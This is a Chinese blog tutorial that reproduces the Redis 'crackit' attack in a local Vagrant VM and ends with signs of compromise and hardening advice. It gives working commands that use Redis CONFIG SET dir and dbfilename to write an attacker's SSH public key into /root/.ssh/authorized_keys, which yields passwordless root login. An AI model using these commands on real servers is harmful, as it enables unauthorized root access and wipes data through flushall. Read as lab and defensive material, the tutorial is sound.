最近爆出来的 Redis crackit 漏洞一直沸沸扬扬,趁着周末的时间研究了一下。研究之余不免感叹,这个漏洞简单粗暴,甚至可以说没有任何技术含量,却能对全球网络造成瘫痪之势,一夜之间几万台服务器接连沦陷。纵观这个漏洞的各个关键点,几乎都是由于配置疏忽导致的,可见运维同学还是任重而道远啊。

一、准备工作

网络入侵是违法行为,请在虚拟环境下进行本次实验!

为了在本地进行实验,首先,我们需要有一台安装了 redis-server 的虚拟机,我们使用 Vagrant 自带的 hashicorp/precise32 镜像,虚拟机启动好之后,使用 vagrant ssh 连接。

1
2
3
$ vagrant init hashicorp/precise32
$ vagrant up
$ vagrant ssh

由于新的镜像中默认并没有 redis-server ,我们先要安装并启动它。这里要注意,vagrant 默认使用的用户名是 vagrant 用户,而不是 root 用户,需要使用下面的命令,切换到 root 用户,并使用 passwd 命令给 root 用户设置一个密码:

1
2
vagrant@precise32:~$ sudo su -
root@precise32:~# passwd

root 用户设置好之后,安装 redis-server:

1
root@precise32:~# apt-get install redis-server

运行 redis-server:

1
root@precise32:~# redis-server /etc/redis/redis.conf

至此,准备工作就绪,确保实验环境的 redis-server 已启动,并且是以 root 用户运行的:

redis.png

二、折腾下 vagrant ssh

这里还有一点要注意,因为刚刚是使用 vagrant ssh 连接的虚拟机,和真实环境下使用 ssh 命令还是有所区别,为了使用 ssh 连接虚拟机,需要弄明白 vagrant ssh 的实现原理。我们通过 vagrant ssh-config 命令查看下 vagrant ssh 配置:

1
2
3
4
5
6
7
8
9
10
11
$ vagrant ssh-config
Host default
   HostName 127.0.0.1
   User vagrant
   Port 2222
   UserKnownHostsFile /dev/null
   StrictHostKeyChecking no
   PasswordAuthentication no
   IdentityFile /home/aneasystone/vagrant/.vagrant/machines/default/virtualbox/private_key
   IdentitiesOnly yes
   LogLevel FATAL

我们再看下 ssh 命令的 man 手册:

ssh-o.png

看看 vagrant 的这个配置,和 ssh-o 选项完全一样。实际上,vagrant 正是通过 ssh-o 或者 -F 来设置参数的。

我们将 vagrant ssh-config 导入到配置文件中:

1
$ vagrant ssh-config > vagrant-ssh

然后通过 ssh-F 参数,来连接虚拟机:

1
$ ssh -F vagrant-ssh root@default

或者使用 -o 指定参数:

1
$ ssh -o HostName=127.0.0.1 -o Port=2222 root@default

这个时候,我们就可以通过 ssh 来连接虚拟机了。这个步骤对于我们最后的成功入侵至关重要。

三、还原漏洞现场

做了这么多的铺垫,实际上真正的入侵只有下面几步:

3.1 生成 rsa 公钥和私钥

首先通过 ssh-keygen -t rsa 命令生成一对密钥文件(id_rsa 和 id_rsa.pub)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/aneasystone/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:7Gak3RoiBuoUBceedJxMw8YTFF2n52aiS5MgTFl+tNg aneasystone@little-stone
The key's randomart image is:
+---[RSA 2048]----+
| ...BB=... .     |
|  oo+X=.. o      |
|  o++o.E . .     |
|  +o  ..  o      |
| ..o .  S. +     |
| .... .=o.+      |
|..  o o=* .      |
|o  . ..+oo       |
| .     ..        |
+----[SHA256]-----+
3.2 给公钥文件加上换行

由于生成的公钥文件只有一行,我们在前后加上几个空行。

1
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo
3.3 将公钥写入 redis

通过联合 catredis-cli-x 参数将公钥文件写到对方 redis 缓存里。这个地方要注意,如果对方的 redis 缓存不为空,需要使用 flushall 命令清空缓存。

请确保缓存中没有重要数据,清空之前请慎重!

1
$ cat foo | redis-cli -h default -x set crackit
3.4 将公钥保存到对方的 /root/.ssh 目录

然后是攻击最后一步,也是最重要的一步!将公钥保存到对方的 .ssh 目录的 authorized_keys 文件!

这里假设了 redis-server 是以 root 身份运行的,并且对方机器上存在 /root/.ssh 目录。如果不是以 root 身份运行的,这里就需要猜用户名了。

1
2
3
4
5
6
7
8
9
10
$ redis-cli -h default
$ 127.0.0.1:6379> config set dir /root/.ssh/
OK
$ 127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 127.0.0.1:6379> config set dbfilename authorized_keys
OK
$ 127.0.0.1:6379> save
OK
3.5 验收

如果一切顺利,对方服务器上的公钥文件已经被成功篡改了。那么使用我们刚刚创建的私钥(使用 ssh-i 选项),可以无需密码即可连接对方机器:

1
2
3
4
5
6
7
8
9
10
$ ssh -o HostName=127.0.0.1 -o Port=2222 -i id_rsa root@default
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.2.0-23-generic-pae i686)
 
  * Documentation:  https://help.ubuntu.com/
New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
 
Welcome to your Vagrant-built virtual machine.
Last login: Sun Nov 22 06:14:03 2015 from 10.0.2.2
root@precise32:~#

三、判断自己有没有中枪

如果出现以下情况,则说明很有可能你已经中枪:

  1. 缓存被莫名清空
  2. 缓存中多了一个 crackit (或其他类似的)键
  3. 使用 redis 的 config get dir 命令检查是否指向了 /root/.ssh
  4. /.ssh/authorized_keys 文件有被篡改的痕迹
  5. 服务器上运行着不明进程

四、如何修复漏洞

纵观整个攻击流程,之所以很顺利,都是因为 redis-server 的默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。

  1. 修改 redis 的 bind 参数,不要 bind 0.0.0.0,让 redis 服务只能内网访问
  2. 修改 redis 的 requirepass 参数,访问 redis 增加密码认证
  3. 修改 redis 的 port 参数,不要使用默认的 6379 端口号
  4. 修改 redis 的 rename-command 参数,将 CONFIG 设置为 "" ,也就是禁用 CONFIG 命令
  5. 以非 root 用户运行 redis 服务
  6. 升级最近版 redis,(最新版的 redis 已经部分修复了该问题,默认 bind 127.0.0.1,并以 redis 用户运行的)